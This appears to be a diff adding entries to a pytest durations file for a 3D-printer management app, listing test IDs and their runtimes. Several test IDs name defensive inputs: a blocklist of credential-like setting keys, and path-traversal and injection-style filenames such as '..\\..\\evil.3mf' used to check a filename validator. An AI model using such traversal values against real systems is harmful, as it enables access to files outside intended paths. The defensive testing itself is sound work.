"unit/test_github_restore.py::TestServerDefaultCreatedAtDedupe::test_overwrite_updates_the_original_instead_of_inserting": 0.17972399666905403, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_auth_policy_keys_are_protected[advanced_auth_enabled]": 0.0011332035064697266, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_auth_policy_keys_are_protected[auth_enabled]": 0.0011285766959190369, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_auth_policy_keys_are_protected[local_login_enabled]": 0.001146090216934681, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_auth_policy_keys_are_protected[setup_completed]": 0.0011450964957475662, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[MQTT_SECRET]": 0.0011308705434203148, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[auth_secret_key]": 0.001137351617217064, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[bambu_cloud_token]": 0.0011349152773618698, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[ftp_passphrase]": 0.0011306889355182648, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[ha_token]": 0.0011467067524790764, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[printer_access_code]": 0.0011378936469554901, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[prometheus_token]": 0.0011300286278128624, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[smtp_password]": 0.0011459263041615486, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_credential_like_keys_are_blocked[some_api_key]": 0.001139034517109394, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ha_token_from_env_is_deliberately_not_carved_out": 0.001132812350988388, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ldap_enabled_is_not_also_a_companion_toggle": 0.0011093812063336372, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ordinary_keys_are_allowed[currency]": 0.0011446140706539154, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ordinary_keys_are_allowed[local_backup_enabled]": 0.0011407183483242989, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ordinary_keys_are_allowed[low_stock_threshold]": 0.0011373022571206093, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ordinary_keys_are_allowed[theme]": 0.0011472301557660103, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_ordinary_keys_are_allowed[timezone]": 0.0011377427726984024, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_protected_set_does_not_swallow_ordinary_or_credential_keys[auth_secret_key]": 0.0011529196053743362, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_protected_set_does_not_swallow_ordinary_or_credential_keys[currency]": 0.0011550653725862503, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_protected_set_does_not_swallow_ordinary_or_credential_keys[mqtt_enabled]": 0.001136239618062973, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_protected_set_does_not_swallow_ordinary_or_credential_keys[prometheus_enabled]": 0.001150377094745636, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[LDAP_ENABLED]": 0.0011561969295144081, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_auto_provision]": 0.0011571086943149567, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_bind_dn]": 0.0011497745290398598, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_ca_cert_path]": 0.0013911789283156395, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_default_group]": 0.0011477600783109665, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_enabled]": 0.0011504553258419037, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_group_mapping]": 0.0011463286355137825, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_search_base]": 0.0011355895549058914, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_security]": 0.0011539235711097717, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_server_url]": 0.0011560162529349327, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_something_added_later]": 0.001156075857579708, + "unit/test_github_restore.py::TestSettingKeyBlocklist::test_the_whole_ldap_family_is_protected[ldap_user_filter]": 0.0011412883177399635, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[0]": 0.001142432913184166, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[1]": 0.001153341494500637, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[False]": 0.001156325452029705, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[None]": 0.0011531319469213486, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[]": 0.0011542532593011856, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[false]": 0.0011470690369606018, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[on]": 0.0011697644367814064, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_off[yes]": 0.001151788979768753, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_on[ True ]": 0.0011600442230701447, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_on[TRUE]": 0.0012193452566862106, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_on[True]": 0.0011587217450141907, + "unit/test_github_restore.py::TestSettingValueIsTrue::test_on[true]": 0.002005748450756073, + "unit/test_github_restore.py::TestSoftDeletedArchiveRoundTrip::test_deleted_at_survives_collect_then_restore": 0.190995953977108, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_a_free_tag_is_still_written": 0.1894872346892953, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_a_new_spool_keeps_both_tags_from_the_backup": 0.18315395433455706, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_a_tag_another_spool_already_holds_is_not_written": 0.18797640409320593, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_an_empty_incoming_tag_does_not_clear_a_scanned_one": 0.1825756123289466, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_an_unchanged_tag_is_not_reported_as_kept": 0.1883732182905078, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_find_spool_reports_which_key_matched": 0.18667055573314428, + "unit/test_github_restore.py::TestSpoolTagOverwrite::test_the_note_counts_every_column_it_kept": 0.18733043316751719, + "unit/test_github_restore.py::TestUsableCredential::test_absent_or_blank_is_not[ ]": 0.0011514592915773392, + "unit/test_github_restore.py::TestUsableCredential::test_absent_or_blank_is_not[None]": 0.0011571906507015228, + "unit/test_github_restore.py::TestUsableCredential::test_absent_or_blank_is_not[]": 0.0011581797152757645, + "unit/test_github_restore.py::TestUsableCredential::test_present_values_are_usable[ x ]": 0.0011753058061003685, + "unit/test_github_restore.py::TestUsableCredential::test_present_values_are_usable[s3cret]": 0.0011487631127238274, + "unit/test_ha_sensor_alert_template_rename_migration_2824.py::test_does_not_touch_the_location_template": 0.005034065805375576, + "unit/test_ha_sensor_alert_template_rename_migration_2824.py::test_handles_empty_table": 0.004112197086215019, + "unit/test_ha_sensor_alert_template_rename_migration_2824.py::test_is_idempotent": 0.004348631016910076, + "unit/test_ha_sensor_alert_template_rename_migration_2824.py::test_preserves_a_user_edited_name": 0.004013481549918652, + "unit/test_ha_sensor_alert_template_rename_migration_2824.py::test_renames_the_default_named_row": 0.004608307033777237, + "unit/test_ha_sensor_manager_1148.py::TestBlockedPrinters::test_names_every_blocking_sensor_on_a_printer": 0.0013737957924604416, + "unit/test_ha_sensor_manager_1148.py::TestBlockedPrinters::test_reports_an_alerting_blocking_sensor": 0.0017359936609864235, + "unit/test_ha_sensor_manager_1148.py::TestBlockedPrinters::test_silent_before_the_first_poll": 0.0013808682560920715, + "unit/test_ha_sensor_manager_1148.py::TestBlockedPrinters::test_silent_when_home_assistant_is_unreachable": 0.0016145454719662666, + "unit/test_ha_sensor_manager_1148.py::TestBlockedPrinters::test_silent_when_not_alerting": 0.001513104885816574, + "unit/test_ha_sensor_manager_1148.py::TestDescribeState::test_binary_uses_the_raw_state": 0.001109931617975235, + "unit/test_ha_sensor_manager_1148.py::TestDescribeState::test_numeric_carries_its_unit": 0.00106744933873415, + "unit/test_ha_sensor_manager_1148.py::TestDescribeState::test_numeric_without_a_unit_is_bare": 0.0010575531050562859, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateBinary::test_alert_state_off_inverts_the_rule": 0.0011009937152266502, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateBinary::test_alerts_in_the_configured_state": 0.0016722436994314194, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateBinary::test_no_alert_state_never_alerts": 0.0010745255276560783, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateBinary::test_quiet_in_the_other_state": 0.001475856639444828, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateBinary::test_state_is_normalised_to_lower_case": 0.0010714177042245865, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateNumeric::test_a_sensor_that_stops_reporting_numbers_does_not_alert": 0.0015863636508584023, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateNumeric::test_above_threshold_alerts": 0.0010524224489927292, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateNumeric::test_below_threshold_alerts": 0.0010725511237978935, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateNumeric::test_exactly_on_the_threshold_is_not_an_alert": 0.0015692608430981636, + "unit/test_ha_sensor_manager_1148.py::TestEvaluateNumeric::test_inside_the_band_is_quiet": 0.0012185443192720413, + "unit/test_ha_sensor_manager_1148.py::TestLastStatePersistence::test_a_long_text_state_is_cut_to_the_column_width": 0.0017234310507774353, + "unit/test_ha_sensor_manager_1148.py::TestLastStatePersistence::test_an_unchanged_long_state_is_not_a_change_on_every_poll": 0.0018127961084246635, + "unit/test_ha_sensor_manager_1148.py::TestLastStatePersistence::test_refresh_one_cuts_it_too": 0.0018430724740028381, + "unit/test_ha_sensor_manager_1148.py::TestNotificationEdge::test_a_dropout_does_not_count_as_the_alert_clearing": 0.002712935209274292, + "unit/test_ha_sensor_manager_1148.py::TestNotificationEdge::test_fires_once_on_the_way_in": 0.0024307770654559135, + "unit/test_ha_sensor_manager_1148.py::TestNotificationEdge::test_re_arms_after_the_alert_clears": 0.0030504968017339706, + "unit/test_ha_sensor_manager_1148.py::TestNotificationEdge::test_silent_on_the_first_poll_after_a_restart": 0.0016238540410995483, + "unit/test_ha_sensor_manager_1148.py::TestNotificationEdge::test_silent_when_the_sensor_opts_out": 0.0019224127754569054, + "unit/test_ha_sensor_manager_1148.py::TestUnreadable::test_a_failed_fetch_is_not_a_reading": 0.0014555873349308968, + "unit/test_ha_sensor_manager_1148.py::TestUnreadable::test_ha_non_states_are_not_readings[None]": 0.0014794524759054184, + "unit/test_ha_sensor_manager_1148.py::TestUnreadable::test_ha_non_states_are_not_readings[unavailable]": 0.0016590990126132965, + "unit/test_ha_sensor_manager_1148.py::TestUnreadable::test_ha_non_states_are_not_readings[unknown]": 0.001502515748143196, + "unit/test_hms_description_surfaces.py::TestQueueFailureReason::test_bare_short_code_when_nothing_describes_it": 0.0009387899190187454, + "unit/test_hms_description_surfaces.py::TestQueueFailureReason::test_falls_back_for_an_entry_without_the_field": 0.0009480984881520271, + "unit/test_hms_description_surfaces.py::TestQueueFailureReason::test_prefers_the_resolved_description": 0.0009413110092282295, + "unit/test_hms_description_surfaces.py::TestStatusResponse::test_carries_the_description": 0.0010012481361627579, + "unit/test_hms_description_surfaces.py::TestStatusResponse::test_defaults_to_none_when_not_supplied": 0.0009521860629320145, + "unit/test_hms_description_surfaces.py::TestStatusResponse::test_serializes_as_null_rather_than_being_dropped": 0.0009648893028497696, + "unit/test_hms_description_surfaces.py::TestSurfacesAgree::test_the_same_fault_reads_the_same_everywhere[fault0-Filament ran out. Please load new filament.]": 0.0010688649490475655, + "unit/test_hms_description_surfaces.py::TestSurfacesAgree::test_the_same_fault_reads_the_same_everywhere[fault1-None]": 0.0010593971237540245, + "unit/test_hms_description_surfaces.py::TestWebSocketBroadcast::test_carries_the_description": 0.0009879926219582558, + "unit/test_hms_description_surfaces.py::TestWebSocketBroadcast::test_passes_none_through_for_an_uncatalogued_fault": 0.0009680641815066338, + "unit/test_hms_error_summary.py::test_accepts_an_integer_code": 0.0009446702897548676, + "unit/test_hms_error_summary.py::test_all_malformed_returns_none": 0.0009301332756876945, + "unit/test_hms_error_summary.py::test_formats_known_nozzle_mismatch_code": 0.0009417152032256126, + "unit/test_hms_error_summary.py::test_formats_unknown_code_as_bare_short_code": 0.0009116996079683304, + "unit/test_hms_error_summary.py::test_joins_multiple_errors_with_semicolons": 0.0009351028129458427, + "unit/test_hms_error_summary.py::test_masking_lets_a_32_bit_code_resolve_its_description": 0.0009404737502336502, + "unit/test_hms_error_summary.py::test_masks_a_32_bit_code_into_a_four_digit_label": 0.0009412234649062157, + "unit/test_hms_error_summary.py::test_returns_none_for_empty_list": 0.0009380290284752846, + "unit/test_hms_error_summary.py::test_tolerates_malformed_entry_and_skips_it": 0.0011406773701310158, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_auto_enable_logic": 0.0023496728390455246, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_empty_env_vars": 0.0018697138875722885, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_env_vars_override_enabled_true": 0.0018381047993898392, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_no_env_vars": 0.0019415989518165588, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_partial_env_token_only": 0.0018331659957766533, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_partial_env_url_only": 0.001833655871450901, + "unit/test_homeassistant_settings.py::test_get_homeassistant_settings_with_env_vars": 0.0018411008641123772, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[-download]": 0.0010539740324020386, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[\\u0645\\u0631\\u062d\\u0628\\u0627.gcode.3mf-gcode.3mf]": 0.0015197768807411194, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[\\u3053\\u3093\\u306b\\u3061\\u306f.gcode.3mf-gcode.3mf]": 0.0010190512984991074, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[\\u6587\\u4ef6.3mf-3mf]": 0.001187887042760849, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[\\u6a21\\u578b.gcode.3mf-gcode.3mf]": 0.0010429155081510544, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[\\u9f99\\u6ce1\\u6ce1\\u77f3\\u58a9\\u5b50_p2s_ok.gcode.3mf-p2s_ok.gcode.3mf]": 0.0010487455874681473, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[___.zip-zip]": 0.0010649170726537704, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[hello.gcode.3mf-hello.gcode.3mf]": 0.0010379962623119354, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[project_2026-05-08.zip-project_2026-05-08.zip]": 0.0010462123900651932, + "unit/test_http_utils.py::test_ascii_fallback_strips_non_ascii[r\\xe9sum\\xe9.gcode.3mf-rsum.gcode.3mf]": 0.0013404618948698044, + "unit/test_http_utils.py::test_disposition_param_is_respected": 0.0009609013795852661, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[\\u0645\\u0631\\u062d\\u0628\\u0627.gcode.3mf]": 0.0010180091485381126, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[\\u3053\\u3093\\u306b\\u3061\\u306f.gcode.3mf]": 0.0010234285145998001, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[\\u4f60\\u597d/\\u4e16\\u754c.pdf]": 0.0010266844183206558, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[\\u6587\\u4ef6.3mf]": 0.0010176179930567741, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[\\u9f99\\u6ce1\\u6ce1\\u77f3\\u58a9\\u5b50_p2s_ok.gcode.3mf]": 0.0010369550436735153, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[hello world (final).pdf]": 0.0010165460407733917, + "unit/test_http_utils.py::test_filename_star_round_trips_to_original[r\\xe9sum\\xe9.gcode.3mf]": 0.0010452000424265862, + "unit/test_http_utils.py::test_header_is_latin1_encodable": 0.00099098589271307, + "unit/test_http_utils.py::test_quotes_and_backslashes_stripped_from_ascii_fallback": 0.0009491303935647011, + "unit/test_http_utils.py::test_safe_download_filename_bounds_unicode_and_preserves_normal_suffixes": 0.0010494459420442581, + "unit/test_http_utils.py::test_safe_download_filename_drops_path_control_chars_and_pathological_suffix": 0.0009927209466695786, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_calibration_cube": 0.0012678662315011024, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[auto_cali_for_user_test.gcode.3mf]": 0.0009938506409525871, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[auto_pa_line_calib_mode_v2.3mf]": 0.0010392582044005394, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[my_auto_pa_line_calib_mode.3mf]": 0.001019209623336792, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[my_pa_line_calib_mode.3mf]": 0.0012932438403367996, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[my_pa_pattern_calib_mode.3mf]": 0.001230667345225811, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[pa_bracket.3mf]": 0.0012988634407520294, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[pa_line_calib_mode_v2.3mf]": 0.0012016315013170242, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_a_users_file_that_merely_contains_the_name[pa_pattern_calib_mode_v2.3mf]": 0.000989793799817562, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_an_ordinary_print": 0.0012808814644813538, + "unit/test_internal_printer_jobs.py::TestItLeavesRealPrintsAlone::test_nothing_reported_at_all": 0.0011800825595855713, + "unit/test_internal_printer_jobs.py::TestPrintCompleteStaysQuiet::test_a_real_orphan_print_still_notifies": 0.008460847660899162, + "unit/test_internal_printer_jobs.py::TestPrintCompleteStaysQuiet::test_no_orphan_notification_when_the_calibration_finishes": 0.010869321413338184, + "unit/test_internal_printer_jobs.py::TestPrintStartSkipsTheCalibration::test_no_archive_and_no_notification": 0.06663883198052645, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_anything_under_usr_counts": 0.0014985781162977219, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[/data/auto_pa_line_calib_mode.gcode.3mf]": 0.001502135768532753, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[/data/pa_line_calib_mode.gcode]": 0.001551348716020584, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[/data/pa_pattern_calib_mode.gcode]": 0.0015439745038747787, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[AUTO_PA_LINE_CALIB_MODE]": 0.0015046000480651855, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[PA_Line_Calib_Mode]": 0.001524757593870163, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[PA_Pattern_Calib_Mode]": 0.0014976365491747856, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[auto_pa_line_calib_mode.3mf]": 0.0010074172168970108, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[auto_pa_line_calib_mode.gcode.3mf]": 0.0010869977995753288, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[auto_pa_line_calib_mode.gcode]": 0.001027786172926426, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[auto_pa_line_calib_mode]": 0.0009963661432266235, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[pa_line_calib_mode.gcode.3mf]": 0.0015693726018071175, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[pa_line_calib_mode]": 0.0015353485941886902, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[pa_pattern_calib_mode.gcode.3mf]": 0.0015042489394545555, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_however_the_name_is_dressed_up[pa_pattern_calib_mode]": 0.0014859149232506752, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_levelling_run_by_its_system_path": 0.0009568929672241211, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_levelling_run_by_name_alone": 0.0009621540084481239, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_manual_pressure_advance_line_by_filename": 0.0009644683450460434, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_manual_pressure_advance_line_by_subtask_name": 0.0009680530056357384, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_manual_pressure_advance_pattern_by_filename": 0.000980546697974205, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_manual_pressure_advance_pattern_by_subtask_name": 0.0012148376554250717, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_pressure_advance_line_by_filename": 0.0009752362966537476, + "unit/test_internal_printer_jobs.py::TestTheCalibrationIsRecognised::test_the_pressure_advance_line_by_subtask_name": 0.0009697172790765762, + "unit/test_internal_storage_probe_2856.py::TestFindRemoteFile::test_a_directory_is_listed_once_however_many_candidates_share_it": 0.0018421625718474388, + "unit/test_internal_storage_probe_2856.py::TestFindRemoteFile::test_a_directory_of_the_same_name_is_not_the_file": 0.001783020794391632, + "unit/test_internal_storage_probe_2856.py::TestFindRemoteFile::test_a_refused_connection_is_not_an_answer": 0.0018053436651825905, + "unit/test_internal_storage_probe_2856.py::TestFindRemoteFile::test_finds_the_file_in_cache_and_stops_there": 0.005530675873160362, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_a_cool_off_on_an_emmc_job_schedules_no_retry": 0.015715605579316616, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_a_file_the_printer_serves_anyway_is_archived_in_full": 0.015167017467319965, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_a_gcode_job_is_not_probed_for": 0.013561719097197056, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_a_miss_still_ends_in_the_cheap_fallback": 0.01336862612515688, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_no_probe_while_the_file_service_is_in_cool_off": 0.011589203029870987, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_the_hit_names_the_directory_that_served_it": 0.013777874410152435, + "unit/test_internal_storage_probe_2856.py::TestPrintStart::test_the_probed_file_is_shared_with_the_cover_endpoint": 0.011814714409410954, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_a_name_that_could_steer_a_path_is_refused_not_cleaned[brtc://emmc/..\\\\..\\\\evil.3mf]": 0.0010593757033348083, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_a_name_that_could_steer_a_path_is_refused_not_cleaned[brtc://emmc/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC.3mf]": 0.0010667899623513222, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_a_name_that_could_steer_a_path_is_refused_not_cleaned[brtc://emmc/Cube\\n.3mf]": 0.0010630926117300987, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_a_name_that_could_steer_a_path_is_refused_not_cleaned[brtc://emmc/sub\\\\dir\\\\Cube.3mf]": 0.0010758563876152039, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_a_name_with_the_punctuation_users_actually_use": 0.001157199963927269, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_a_non_ascii_name": 0.0013432875275611877, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_an_internal_file_path_keeps_only_the_name": 0.0014449283480644226, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[12345]": 0.0010519539937376976, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[Benchy.gcode.3mf]": 0.0011142687872052193, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[None]": 0.0014424938708543777, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[]": 0.001126432791352272, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[brtc://emmc/..]": 0.0010784510523080826, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[brtc://emmc/.]": 0.001066509634256363, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[brtc://emmc/Benchy.gcode]": 0.00107557512819767, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_nothing_to_probe_with[brtc://emmc/]": 0.0010907631367444992, + "unit/test_internal_storage_probe_2856.py::TestProbeFilename::test_the_reported_case": 0.0011712145060300827, + "unit/test_internal_storage_probe_2856.py::TestProbePaths::test_one_filename_five_paths": 0.0010137716308236122, + "unit/test_internal_storage_probe_2856.py::TestProbePaths::test_root_first_then_cache": 0.0010047927498817444, + "unit/test_internal_storage_probe_2856.py::TestVerdictCarriesTheName::test_a_printer_that_never_mentions_its_card_is_still_probed": 0.001090293750166893, + "unit/test_internal_storage_probe_2856.py::TestVerdictCarriesTheName::test_an_empty_slot_has_nothing_to_probe": 0.0011124853044748306, + "unit/test_internal_storage_probe_2856.py::TestVerdictCarriesTheName::test_an_empty_slot_is_not_probed_even_with_a_name": 0.0011077458038926125, + "unit/test_internal_storage_probe_2856.py::TestVerdictCarriesTheName::test_an_external_dispatch_needs_no_probe": 0.00111492071300745, + "unit/test_internal_storage_probe_2856.py::TestVerdictCarriesTheName::test_an_internal_dispatch_carries_a_probe_name": 0.0011211121454834938, + "unit/test_inventory_remain_endpoint.py::TestGetInventoryRemain::test_returns_empty_dict_when_no_bound_slots": 0.0020402036607265472, + "unit/test_inventory_remain_endpoint.py::TestGetInventoryRemain::test_returns_empty_when_printer_has_no_status": 0.0017374353483319283, + "unit/test_inventory_remain_endpoint.py::TestGetInventoryRemain::test_serialises_globaltrayid_keys_as_strings": 0.0018912144005298615, + "unit/test_inventory_remain_endpoint.py::TestGetInventoryRemain::test_slot_materials_carry_identity_and_extruder": 0.0018302500247955322, + "unit/test_inventory_remain_endpoint.py::TestGetInventoryRemain::test_slot_materials_carry_the_bound_spool_s_display_identity": 0.0018766894936561584, + "unit/test_jti_revoked_session_reuse_2572.py::test_no_session_still_opens_its_own": 0.20177599880844355, + "unit/test_jti_revoked_session_reuse_2572.py::test_provided_session_is_reused_not_a_second_checkout": 0.1775164594873786, + "unit/test_jti_revoked_session_reuse_2572.py::test_revoked_jti_detected_via_provided_session": 0.1754072867333889, + "unit/test_jti_revoked_session_reuse_2572.py::test_unknown_jti_not_revoked_via_provided_session": 0.17254999931901693, + "unit/test_launcher_shutdown_config.py::TestDockerImage::test_cmd_bounds_the_graceful_shutdown": 0.001394413411617279, + "unit/test_launcher_shutdown_config.py::TestDockerImage::test_cmd_execs_uvicorn_so_it_becomes_pid_1": 0.001609697937965393, + "unit/test_launcher_shutdown_config.py::TestDockerImage::test_compose_allows_more_than_dockers_default_grace": 0.0010791216045618057, + "unit/test_launcher_shutdown_config.py::TestInstallScript::test_generated_launchd_plist_bounds_the_shutdown": 0.0010885102674365044, + "unit/test_launcher_shutdown_config.py::TestInstallScript::test_generated_systemd_unit_bounds_the_shutdown": 0.001261322759091854, + "unit/test_launcher_shutdown_config.py::TestSystemdUnits::test_execstart_bounds_the_graceful_shutdown[deploy/bambuddy.service]": 0.0012787561863660812, + "unit/test_launcher_shutdown_config.py::TestSystemdUnits::test_stop_timeout_leaves_room_for_the_teardown[deploy/bambuddy.service]": 0.0012972503900527954, + "unit/test_launcher_shutdown_config.py::TestWindowsService::test_nssm_registration_bounds_the_shutdown": 